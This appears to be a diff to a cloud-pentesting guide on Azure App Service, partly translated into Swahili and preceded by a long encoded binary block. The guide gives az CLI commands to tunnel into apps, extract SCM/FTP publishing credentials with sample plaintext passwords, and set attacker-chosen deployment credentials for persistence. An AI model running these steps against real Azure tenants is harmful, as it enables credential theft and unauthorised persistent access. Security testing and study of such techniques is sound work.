z`WW(7D5izsa0TV~QHVu$NVdeKcl}WE&e;_6$5E+HwjxB4S<9?Bn;*UPwsTLPGe`CA zu6Mj1=gHEGdPIHiTyyNtW_u@2*;VQg0kdpb!?I6(>f43o&tA|nG?-VO&&Gn!LzNQO z_4gy<*#gfC6}-FXa(HVS1J#g62Zy+(RAwcbAsni*UoL=dB9yS>W&U?GL7XYY*~P$^ zJ;aE`N!->%y4CKbr~c;Bzh)d9$&ydU-~yEUHn&{Yy8ca4cBhGabt{9wSK|fc;4((yB2}5{B7Q~ zC(k}TCL+-D50{?5=4aRb^MuaLhvdVM;l?J`=X3mQ<9chWDtXxa7Y#8lZl6e#a@bfb zaP^usJcwc~;%u#m1+-*4H8vK|eVODPLp759^u72M*hvAE*BYn;IYSpfw~dI_oJHhX zZMu%g!U~|f+9QmERIA+wk%NsFl2fNq%pFdoTN$csB#Q16VPF(9$h(K&>Z3qUAqXn? z`OaYG%(b`PbN>bJ9XD=lXXmf=E@gi|wj=P0vsqS_8QTN9zudif;+}E0eeAPenez0? z4^4?sv?b9YKlP2m7qdYuwPn;7}j27-=Y}vMb!! z6;mxjB?hXp_qrDWeGd)Ffeh%P<}Q5;u}-{EET9`F0rYflT?_Hijfo_EkMp)A%`r!z zSVFPkD3t5a*C%cP6^iO$8XFeUKiCY8Ph(R=|KNR;eClLG50Gynh~07*na zRN5F{7|)Y^LtNFfg+~eLk-c-P4Vq5$(!^vGPUI)eOe!F>^tgTaEATpBfCC=TO-P*j zof-jce0H6u6qkr|Cdtl2vBY$6V$bfW3ZTb( z7tr@m!CgA_}N|t6xhA!;(+GHk{X;Bg%D>9R`wk5>3c3XOP zbEjFabW_ctBQf)tPPM8iHsLJS3;A^fe@-w16AWCozU}gcwDD{jWF_~p&2kr6p>#Y2(5pZK)jnK)(wuYNj30jc+ed%8y*(?n z@AWTycEO#BKnCbL6}Id{^@u>_XFphU+oga1v&9idL>-%GZf#+!=kcq}Tlh6tck3>( zQWc3;&oEr6ChT?*kTKHYByz7waaJ;To7L?Xd+4H)BmYbGiv_$K(?~1xSgOxuVfzW} zj~Tkax05DvLU8J9olM?+7sRvCe#B7e zNv6%{c=-E2eg7Z6?PRs49`AZ~%`5^t6M+L3(6hazoq1jA|Cvpn`sjOmZ@=RU>iO04 zn_63VUOW8nrY>#+HYtYz(T`CYrvT-0kWA=C6Dv3AMOPtOj9p~Tw;(89+Vy{~UAcpL zmE89jDd2SmV+7EpaV_?2cAj*tg^3NS{8o%wth{fsn3JlE1$}GYG7gxEQpe$_cahI8 zrVpr!8;ac3)5|RZNGesup`@WIWGDx`SSD{xn2O72aZVRQ7U4_T7N-o*chk`9h12Y~ zgh+Do_mGj0_L*+KIoCZ|LS)ey1GuPHacwZ z6j!a=YW3Z>YRzU*fODOs1Rejs_Ra*}uByKGzqN-m-}z>q$V|c%hA=8J)S@B=q_2av zwY64!we>x1t?yNRY6YLg*4BAwQ9yktpil||PC+t&5E2Z8K!7A|CgzDX_>662gYNU%wk&B)-4q}b0@F` z??^9x^#7m8wG+*yTps#F_v?7~7xpsAZo#~!6-%Iw)Ioc=_q}T|c_>tsh^$TuEkO9)}TNm|Eoz2MT)S+lVbZ zf`BZSbiDU{AKdw$Km9~&)StFLm&VS9M%??#ek1Dn#zyQJ97L=!g=~7nB$Ba<-niUK z{^{G=OvP&d#Ok3_&?|2khJr3dcTAB~vkg&pE`+v{HFDb&>Ir0@x|fF58kUmEYmKlm z8!pa9U|o#H=H(a~*zdKsXEuH3_TRt$s;kuQ%Ihs#L;}YrKtVq~Bc4%#1oQ)UPXFzf zZ~4T?qig=EJ&{uTVsSj49>UN2drgJ4OgxGKUuu5KLb*o7536IFN^8Xun`WwZH2-%6 z_VGlURJR_wOt}|lU%cXWL|x43F3T)RyRfY&{2&Wu=is<5e7^yHVYVrwnv9jt{-jNwWuDuP9 z_IBduL;dKDIM|u@5XjWKR&av=whmLt7!fc2E#*@g6jz<&$s__4k6db)BU%iIljwGt zb&=OM8@9ujHPc>WBTt>}80@n$bP9W#G^LV#SUBeDjKLx3#Ik>ZHL| zlfaRAFS$sz=y(ho83k`_GKTV(7PgY|0Mf&VgR+1u&p&WK0Gz4OcS8 znJ8z;+AT}068#)@_*kM|32WrXGfBOA=)xrwZpi`{=5#kT(M_y`{E?q2MBE6nvW6Zs z0@iXgG+Yk&m%+<61K!^B+2_T+bIbRx_{_3ps^@sD`Fj$mWCHZik6|6Y+f?$fJ=8Y6 zdPi*gZU6kPm;USie`w8T7q&Gu;N@Hz|Jl7CPXKrYKrfV8W0gM=-|WLjLB8u<1)UFr z;wb3VVeePBa4%Zix7*fL?*KsK|UxfUYLIH z3pZc!k+)r^q<9~X6Cl7Xzb62xOs7!L%LJZ}Egb>9W=+e6o4@#X!KO{`nUWcqHIyAe zM>2`~yE^e`QPia_dZ1(qwwT9V@{h=lHnUy%_#cBKJ@w;x_ND9H@$Xc>9{Q+fE-z)0 zB1kr_g^?0cI9FcMJnh1=XTtXv!nMyrJa#UI(cCQ;JF|F>klV49-lJL zAc4v!aQttw%I^bPNCMFJ-aBW_ji3FZdghsHPMtnIdLWa-He2Dl`#bO=fKC7-aN#LH z>a0nU86)VX7~Anb1{Czl8)RX|w_+|h?U{es#hvN0u;MEhfo=e>5Wq?_B`-uQIv<0B z1HrsS@u#l8e)(r_ys`a$rK)0Kr5O29d3IonDu=-FzsV}6t!xPiye#YkP`we#BB)qz|dyJB&y?&!ukKaV{C(&E24E|ja0D@gGUkp$bUv77%C!g8B(o-YYX zUi}dn{pzQOUjD&omPy1jw?xR5smEf1;8X-2Y!r-`&j*}yp!E50)oc?BAB%Nuf7{jV zpZVSoFTYbMl`Vfy*a8wL4FL*zX*lvO<0Me3b-Db%-n`HZPeO7fpeVv;aIPT7{(qaJ1zd-XvrDQb`R-6wro1&xIAc06}&hlBu&{!6{@$UPxcJYSHKJ{POuTnR~HfSt| zvd)F2E<&nt3H%_3;q=y_%Px)o(;Yv!?%OkFsP1v}fR~a$MG~N(SEO0ksPPi$`Pe^P zwc$T*{n~=Ozp&A9k&PwrzIQeh?xp%7A}C}o`=9Y4Y7CwhO=8T z=U(7``-iu`R2~_c?xw1@Kswv~j>Q!~OruU9Da9RxlsQ_;mCSZ%yf~2vEhI z^uqOj{MX%U*8Yv^>RK{m>Qtmt32Ywh!@9n1Z1O#9m*g{HF0tZHW>YEsh(aHSx>q-X zexyamD)3`H|71pxq;^FE0>ls)PklO6bOqv(v!MLN@N?q9_hv4;V#e3M@{J2_UbIMc zoy=o+4GD~kz$D5C1$|tW;>DFtK(AjP-+Iff@818w!=GpzPS0yerciKQJU`fnUk~=; zXVBQK9OQMO7!oJRNJ2rEDfh$kzMHAt;*xq*PPuok#YVrDrrbk8*Jy%|cEDZ+_4%+ljiW$1TD@9H-FJ*b3auQz3tNiWn}EeQfEECA zU^`2p?9-tA(_rZ)B$9=mrslm{e)-Ekx@PfW=4Y?y4=5W~G6EFzlA+{{Dw%*@y*jqx z2lrgD>%oWrzP*3o{CRNWY0JmXwgev7vmG0~09}rSeV#@ZHsX=EiJmTK&jgOi-gMdP zZ295#wm|B!S{hy64zBqrr>Zs&#$+lGwfk~V>KWQiw^pi%% z3#*a9?*IMiw{5@ofsZA3?s?<1#)RtfN6?jY@o>jJJf8E=??ljVN70+hz;>d@dIeZg z#Kj1Y4;6$8RS=anE_?AKBtKVD<*Qhad(?52AFI%_H~$5pn2(CMBrF~8QC>kWde)NF zMK*&URnX;!qs41qE$9cGdhNo9dodroEOwYzDD5C>Cs6PurJsV-Qjz;t@M%ewg z|8ULL2Os`O?!}i@E@((5Bn9kV1w1t{fHnCMQ_!Wyj-glTshg#AQDn~)b&;ufakoum zwVC-9@6s>oP$=QI4_VROdeO-EZ8FVMp7L_gVop7tqU*id+oswLoDQ zcBH%Ol1rxD_Qfy1<=;*{RqZ=Dn!Jhxs+Rx-y?SlOmXCwLj!%E~vS;tQ=fh1ezw(Yb z(Kv#LjUCxEo*eGQZ**YR)dwOm^yhs9wydcK@PYyY3$Sbj$7Ce4koO9qSOO3A^uzm7Tu(S`W<7kP5l*3Khk{?MNUwCb z6rn}%C2k=EC)4S2YWO=KV!QBtg+d_v5SkHKbAVtj;GBtg^em{%Of%N{jZrp*_ zp2E7`4%|18hSbwE`QP0rd}W2HV6_iRdyo}h(cyg2V>hL^iymijDcy*anV}bN++?1! z%n!ut3@dd@O)yz+e{G7{v2?$@f2)d;75t5;gE-y`^$LK4M zq}BI>2(;Y-KbQ#w%V9;%Ld0Exm^}@Jp#e;tlHL5aYo~nWrkl_FadWfk8w)$0O9Hh- zpr!=9mJIXSzLYj3qqKLcUh?`ocQ06X^A|r^cyZgci>I|VXR?Dh;A(7(DBQQZ1J44G zsH#CJ>tVZ)f}JV|;OM;Zz>T1rbaM*!K@UC54L_QoMvItBT2c}Gz=EZ zDdRF`r4FW9h9tOP86Q@Ue8dj+U1s@z|vvnvw#y z@DN9!T7bwhz&jW4mmm>c3SAKC@5wA$gkQh!0~dYnZ$8}cm{MkOo(BokHGy${mDDvm zcD{xP=+)1rp8Dq3{&4rhKmYqVwp!d8bFg=)7keT$9_#PLZ@esa0T@zoWTX-sd^nZ` zC2Qz1T`YOvjn^4&Z!@W6i-InqZZuxDV);H?KNNI1vLamL{1lc~(2q3;j@+Lzju=M?(Z z1=64jVN`oO5`hkyk@2QNTc^Tu&V}QifqZri=Bv&%g6_C7FA9 zkU;4ORQXyY1-*1bfp@AA0=ci;ed?aO@B8T9M<2O3f=bx7Ogqb3y99F=ce}lI^Y++49?L_Y z96>*tn2!p&hV2yd#z^FUadzJPUEIzWNkoy)<-(|TD}kWUhyc@JVYw0VSoBO}vMIE* zv={n%Ur7JXmD9d<)8{Y#(mChUTg9|0SDLX6X`X$O1Ssey367W5HUa&uhh}X5>AmmS z@$&~iI6Z33b{r4=C}5kP$GYBLQ>|@KS?JUOq+*+R=&)rW-ORJY@s+8wt^*N$1?6Y#9O<)0#Xow;`oCS0Ouq29o zA)*l}u(AUAYztD!R%9|A1wYu)^^uRh5^;mc0O$Zy})~ z@O_!qR>-RWzJ$RawzNE&3brOZ^n*cfhrDxnPmxIrv)fN*B_xHeiWF;@+eXxVNG85! zIFWhC=Vt@KsYpc6Kq|2aejz|EySu-!x$mW$zwn;-zWdMcoKhww9S;&9fuj(hpmSJ| zz;Oud|G!^b`SMTh`^4b0TP|;c*U&zF3if&!CYn8B zqP8{i#wiaF6gR2MU$PfHbkxW9F)Xi#J__&fsrN%kX3T_z2)Ze-;=oc;zdQ=9g^ScN zm*9eF0G1;eJr9kk^WYVd7#{BOfW6*XEA0RH_pkrA8_&3qbcQ502G9G$*eg}rWN*3zdHG?G zmm`(iU_rv=e3KG3oRW5mbI@K*1jR{@j#724=%H&#uP3?MO#zk|6r@U86agCGU>1}$ zAFg!<60xNS{1#+0eV8@Zd*Y%uwEn+OeRjpI3l}mc`=ktVKBVdiP|&O1gzUg%5zrep zG;RCQgO}|3#jifnw6F8Zlve2R6t)*K*p%tTGhUyWg6~t|nz|%L5pP`ty&#$9ih?cy zU`}zVIm{F{z8;jWy-EiLL-}(Eq*3X%vGUKDet4W}K2#oWqq<%oLrz9{+ApMOy&ffI>J3iU7 zar0YeG_=Hg+s1C4!{*^`Y##2x4iwM>K$Ive0dvYSsbe8kVC0bWui-z;e)iFj@37?R zXc3c8@xwgtM~ddF%a$r75%tQHZB@1`S}WK(g%&Kpnbs;Sn{qK6CxU18uf@jTPW0m? z!1BVPGR55UVT{_L)T^(0$vBwp?a0;sV!m6`#KSVf9ZVo2Q|;PJvqPrwqSkrKRu~IgISPc8U3^sJ{#YR1VE(LU1Kw2*H6z29)}vimvi}{quo{fKBv@e$ak)$c zy$y?Srn3r5+b)D{N3f-1JvIeDK`*vJ+mdQEkVNUl!lqIfr6}lf4^wGov}~MdVA%Dd z(kl}LSAeqp;`VwQfp44Are?3bq;fTdY+Mv%4FWUFe<_>^*II~%_+nVP1*vEo4)pEH z*@<1--+RLw|M5dNEO}tcsY*5u@E`#a7$X4+`WS)nbP_n6z~EPIy=24p?|6UL<{j5e zNj9};+d)^5!$AvFcFRM zp2Onl;@q1=b0)aVHUVZ~Q4`5VSIo!~NX_<8)U_wSkE0z+ah7upmb6_2+lu13u65Yx z|F|gV;mW@DeN!0aP<{4d?@TcnIf^p|BIrd;KUf`3NrF}#3b$0B(_v*a^E3Hlx$uH0 zV%99EU>hedD#~LTN7zr;TJF0Hs%=>7Omtt+!(I$ireJH&m=w=Um0ZsI#|**)OAUa^V(GD(i}@l%bIOz@rXEDTTIJpmh!{r$aK0Td&bSOfV8bB z=2GAN(5$=po#Vvd$%}wwz0=Yb5%nh6XorP4W{SNfc?N8MmZXt^W#=%M-j!ayV#=d` z^5>V`_{UdbgF0Qwu09?lKmy|=KtUfT!0>Xu=avLx4ctVp-yMJAKW=-^`aAFY=$u6J ztdw%2wyn_X=kdZoC!Wc6VFw1$fdcwOC{+}BON3ma-TkmK+rg=A3o4MQ?8EnX%YHZ! ze_3M}V7Bpy%^La_ULIu}cq8b=uMPQInqx;`>m-6835`a$n283p1j)!^v^SoE%uo^zQpouOh&FU? zdF!>yzx7A&oBxv)7c1H6$Abh&phN^H=p_Ql+mOKF1oYicF8J(>(u+a(^GZ4oDB%=$Fv=<;^Pe(TGprN4&nOygQ zMW;5d`HK&n`?*ygP#ZW}NPq-NPk@46dZxT%2?=PeRka36X|0{LfB&WHdLDo7T_YQJ zyt%OuNjA2&W6;*vGT4LXa@}|?-+?ZSU=V5KM5-mzoOs|O)G~D**ll6*nx=oY$WZ)Xo#MLxN{1W*DRIZq3zzDL{smJzkAIo z-+upx&bV*(G9^3uc#r@IOaK82`UF7bElJ>2-ueU2&3oY|zr1$ygKPgh*ExJzb5om> zi$$?JKZxft9oUl_z<%!l`jEyD^2mx5Dh=O~QmZm49!mP?D!Wd32YV zxYnLyrohERUr`K-i`sE)?OKaXzD&74Z(a>#ZQN{`Gt=sl^hHEHoZb&i%5)EbDn`JY z_XbH2lK@PnH`!O-h$NmMT8g-{z|<@cytrIfu-yKhdCP)d-0(jx`TSenrM7TX zkN^oxECCAo#Pa3cN#G!X?A@Ce{PNa&-uLVyPrkby$+=V8XP`TsMlNP!_h2`+4D7@n z96&EJ=*I}s$ikC->W+rzhug+1CmOD6%f9xg?EeAn!~g&h2uVaiRPi2y6>j|wm)^yJ z4qVuN0!@06Swmkg_0a7&p6gtTr@gz-ueO;zq;baZqB4NnZEY{*J^~Vn*rSn z7qifS`DltRK+>Iwh?;^z&Vg;afbDfPHRG8#y>MI2^-h%{4;KT?} z&`*pL&mw`663~zLG`_U@iE|$M>fQgesCnLu;dE}!o{mm9sU&nNhL`(x;kkjAZ~z17 z!!Y_Wh%EB391DRYpV1nQN$_eM?K$HwW5}p)ooKxm*Gf%)~VNG_=N-!VRV&;mkxT z(T3jP9u#!%-oWkLd;X=fzxS6nTy*#8SF4Va!s5+HfCNs600sSoFdcCccd4BWHC}TR z0(x~+rO9x5?!$DQ5$nm)&mRe7zkel$8u` zDu}|;O|Z}m2QzU>>O4$sTn=xz5h$dPblOcoT>nV-P_#L}d%@}PU%&g$SAOY=zhM4# z4ssGGCjkn2IqCD+Bv2%v*Yvmi?6&)_{O!*+{$(N;JFnGkYE2KOq2o3Nf;4t#IKh`e?3eYD;v=YRsp%70EHN2ANuJ<58bum*wVQkn`8|g+hr4-`6DT3 z9V-gQwxJ4=i#-Y#EoNF>{+ly(CHzby9Nmm)B!$4sBAXlNPc}GPT4w64SFAei-%elE zy6wF4BnK@I5+H$c5}=@$lRlqK0!I+gKN*_(z>ogxU0Wa7{H`XIIz{=;6w9{Z$1L;) zX}r|C6T61@p%(*YjeQV9#$y+87EjwR3c6HcZ^lBLW?vmvTeIVMwqqSO`FEiYFB?IZ zJ>@o1M*JPb5J4lFFdI$oe6&TEAZgD-%$kOgw1(wch$e!8A#c~dcw^?}RqwpyGw;1< z#wPXqCLEpz36MYq5TKw}fDzaP5;&4T&%Hf!*4(q^@|Palc3rkJdv;96=e4%BnW^}` z^dNeMd(epkcqX$I-9ayggCY3FXD=qHfrUoQ$C=hOSUUA0M66gS=z&bRZ->OQ%T~2G zW|(rOQp%;-IR#TrB39ciS9i>m|Rl=*yR_nzDBB+mxiD=RpD_P=N#}=oM%bHi-m| zB%pt)8-M?Spj+=i4r#MDd`9e2 z%$Rb9Ng(q|=Vt85Za@wrNMaVIBo|?Bd^x;y46vezCXy)V0E79yyl3~n=rp9C{lgos z{QO0iH@`6FVwIs)NPq+?n*as9vhBmxk-)16h_FAl`niiY{py)N*!xoVr3tIylw2la z6(nelU3oZEdmlH`j0~X}lx&eTOlTu9cg9kdFtQ{HC5e&TOR@|ZQIVx-Bx}ZdsVPNQ zs+;9CsN7H{g{&{R#SPb9NO`|!W<1Y*-oM^?&OdX0=bZ2I`Fy^=?L0F?xeL8!iO1?B zVq(60;8Iced`8KvffXfSs_(V-P?6&8R fd$V<$sW!5?4rL46d8XTircFh; zqjHlT(;db>{Y&GS#vHZWco@c*LOCmKbPU$S)ufQSf(m--j*SGKqkm7AHnzUqHb3id zux-gI>H}TTiijj;hBj?~JY*(GQ9X|FP$-is?!fR+?DnJ)wPsz>!8j`hL)wQl8=5>fMQF z)OS?H_GiSj9gSUanVfF#BO$+nM`?yqvQl+{rLjvd;QR#Los zMqUbLf4>|VHaLv9G8*SJ%n9n~ys;GIk2op^O zl(=aVmhYSh?wtr@2_J5X-(`5D8!LFSAD*+BG9r&yK@6p+QKJo53EoC8{4E6`!a^4; zj5ys?F25I!E;)}Xn^Soh3--<)0DDa@0=jJZnFzYX9g{FM&+qwdXN(2N)f}_Xzjy27 zySrNFc-sE&r_?@fp-OIk|GCZ8Lo%~v7kcpsA=?b-_R{Z__GUeSoUalK zy;W2-{=8EKUP5_o^gmJ3Yqz~qoW_Wgrdco2Ht5_KhiBj&H9qf4;KUm>(y8Ge1+9D^a`|{c8P%M=<*3dq#0jzn0 zqXstZ*lu&iY|idH5nDTVAgW1Ri(Fovkk)t$vXgp61omqeB8`MNx{5+?>;Il{A28zt zqVx010%zTAMxa0*7uyX3AU+~5EaMYMD$zAr7#rUYV!S&ACXZ{v93b$n;={CGU6x7Z zl6xyQ0+KA`!aezmvV01l2-#G?1^2uqj|GeoM}A8W62fw2TXNOLGTTuh%R zV&BLxFEmTWER+~0KUmZO@^-DyPVFbihD(_VBjKPR5(UF8)qI6OsIuYd0(L;&Q0OM0 zU-o1q5XEc58r;mRyVs$idKe;HD5ztqZ_{?K-oY-1f)Y%ee(?-~GE1 zM(dZQm@Sh>rQBIl2gH{&$e+}~mTrcKPmgY!R`8nzBza94hX6{x46Km?oVY27jn7vp zMX6UvKvFtD$v+gvoOA9*ksnUL2@PsF6vg?Vs4sZ}a^HfdfW*ev2_905kf`)y_ZdOW z$lU@6Zw;&1an?G1Nad`5NJJJUeSdsHoSB8@ck?=ieG1FC)CIk))NyC1dt!LKi3M+w zGIUuDMKHmkmp_}}PSqr0?Cj%Jq64F5LWb4I&hpac-uCG04)KMPxF^!s*arM83h@gL z!)Z*j_9)#eFLG=KCpdT3l1)$WHoi=&`IT<8*LICepKZdhKeRQ$D&q)mwX`X~w{l^~ z{2TvK_JnO&r4mr8GuuB#lM4CveyU7p_~g-U<(IMp%oly1BC#5wWk*f`PmGz2-0 zDVkm%6U*vIWzQ1teQzXC zGcvF;LYhup#H?1ZP^5zGZ(aLN66L7%F6~aYGl63T=jF&FAjscf z&(3(OL`;DaENx&GE;ga~otM8lnPQ+AO@hu%fHEk=8-A8mX4O&}SPC9p z^cBXSqYT;m%VWl|+%mppOi4u})C|3xsg$w){K^veprj_WMO}lW%hxJ`f%%*q-|4xv zB;0&HCsvaoqXzGi;_dv*F8P@FVcfsG-P3V6LgoP?q+u-x-MB%f8fE?CnaQ-iK*ua~ zs&RrN#r!F%p%i?yKrc%T*>J+qXVpiqhloAS5IX*keuW>1ZXz-UT33H^wQfZsHODfe z%Ta-m>{EB5_*?NNmNal6dp&|meRJM5a;*&K`^Mtr^DpmxHG1|V<2n%M-m^&3Dsfa9 ZE7J3mdLk)$=e$MWV{7ebRR;T~{{;o| --resource-group ``` - -- **Create tunnel and then connect to SSH**: - +- **Unda tunnel kisha unganisha na SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -35,152 +32,146 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` - - **Debug the application**: - 1. Install the Azure extension in VScode. - 2. Login in the extension with the Azure account. - 3. List all the App services inside the subscription. - 4. Select the App service you want to debug, right click and select "Start Debugging". - 5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so. +1. Install the Azure extension in VScode. +2. Login in the extension with the Azure account. +3. List all the App services inside the subscription. +4. Select the App service you want to debug, right click and select "Start Debugging". +5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so. ### Obtaining SCM Credentials & Enabling Basic Authentication -To obtain the SCM credentials, you can use the following **commands and permissions**: +Ili kupata akreditivu za SCM, unaweza kutumia **commands and permissions** zifuatazo: - The permission **`Microsoft.Web/sites/publishxml/action`** allows to call: - ```bash az webapp deployment list-publishing-profiles --name --resource-group # Example output [ { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", - "publishMethod": "MSDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "ftpPassiveMode": "True", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", - "publishMethod": "FTP", - "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", - "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", - "publishMethod": "ZipDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - } +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} ] ``` +Kumbuka jinsi **jina la mtumiaji daima ni sawa** (isipokuwa katika FTP ambayo inaongeza jina la programu mwanzoni) lakini **nenosiri ni sawa** kwa wote. -Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them. - -Moreover, the **SCM URL is `.scm.azurewebsites.net`**. - -- The permission **`Microsoft.Web/sites/config/list/action`** allows to call: +Zaidi ya hayo, **URL ya SCM ni `.scm.azurewebsites.net`**. +- Ruhusa **`Microsoft.Web/sites/config/list/action`** inaruhusu kuita: ```bash az webapp deployment list-publishing-credentials --name --resource-group # Example output { - "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "kind": null, - "location": "Canada Central", - "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "publishingPasswordHash": null, - "publishingPasswordHashSalt": null, - "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "resourceGroup": "carlos_rg_3170", - "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", - "type": "Microsoft.Web/sites/publishingcredentials" +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" } ``` +Kumbuka jinsi **akili ni sawa** na katika amri ya awali. -Note how the **credentials are the same** as in the previous command. - -- Another option would be to **set you own creds** and use them: - +- Chaguo lingine lingekuwa **kweka akili zako mwenyewe** na kuzitumia: ```bash +# Show if any user is configured (password won't be shown) +az webapp deployment user show + +# Set your own credentials az webapp deployment user set \ - --user-name hacktricks \ - --password 'W34kP@ssw0rd123!' +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' + +# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp ``` +Kisha, unaweza kutumia hizi credentials **kuingia kwenye jukwaa la SCM na FTP**. Hii pia ni njia nzuri ya kudumisha uvumilivu. -Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence. - -Remember that to access the SCM platform from the **web you need to access to `/BasicAuth`**. +Kumbuka kwamba ili kuingia kwenye jukwaa la SCM kutoka **mtandao unahitaji kuingia kwenye `/BasicAuth`**. > [!WARNING] -> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work. - -- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): +> Kumbuka 